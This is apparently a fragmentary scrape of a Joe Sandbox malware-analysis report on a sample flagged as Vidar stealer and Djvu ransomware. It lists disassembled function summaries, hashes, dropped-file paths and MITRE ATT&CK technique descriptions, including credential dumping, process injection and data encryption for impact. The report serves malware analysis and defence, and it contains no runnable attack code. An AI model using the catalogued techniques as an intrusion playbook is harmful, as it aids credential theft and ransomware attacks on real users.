API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1a8e88c41241774786442443c3d8b035ae5b88e252aa813e21978bd4265d7a9a
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 1a8e88c41241774786442443c3d8b035ae5b88e252aa813e21978bd4265d7a9a
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3212c22ca42dc8f76ade31907e0b7b7a5712c5f7dd988cb95cf67c5494a06c08
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 3212c22ca42dc8f76ade31907e0b7b7a5712c5f7dd988cb95cf67c5494a06c08
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: bee131cae62505d5b27d92a2cf2c3683ee6202f618915eea824bf027ad2811f5
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: bee131cae62505d5b27d92a2cf2c3683ee6202f618915eea824bf027ad2811f5
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 004388B2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMONLIBRARYCODE

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(00000055,?,?,0043761D,?,00000055,0000009C), ref: 004388CC
___crtDownlevelLCIDToLocaleName.LIBCMT ref: 004388D3

Strings

fI'0{v', xrefs: 004388B5

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: DefaultDownlevelLocaleNameUser___crt
String ID: fI'0{v'
API String ID: 395733334-1533311067
Opcode ID: ff085985e8d30a202acf2278f6221d921539a371d1759d4be7e872a5e32b026e
Instruction ID: 8d60ede95c6b91133d524436d20a871075f73c6323e1263eeddb2d6e2687739c
Opcode Fuzzy Hash: ff085985e8d30a202acf2278f6221d921539a371d1759d4be7e872a5e32b026e
Instruction Fuzzy Hash: 52D0A9B3000208BBCF00ABE0FC41C6A77A9AB6C310F040009F50C86220EA36F5649B59

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8jvTeVxooN.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGCFBGDHJKFIEBFIECGH

C:\ProgramData\BKJDGCGD

C:\ProgramData\CGDBFBGI

C:\ProgramData\DGHIDHCAAKECGCBFIJDBAAFBGH

C:\ProgramData\FBKKFBAE

C:\ProgramData\HCAEHJJK

C:\ProgramData\HIDHIEGIIIECAKEBFBAA

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Windows Analysis Report
8jvTeVxooN.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre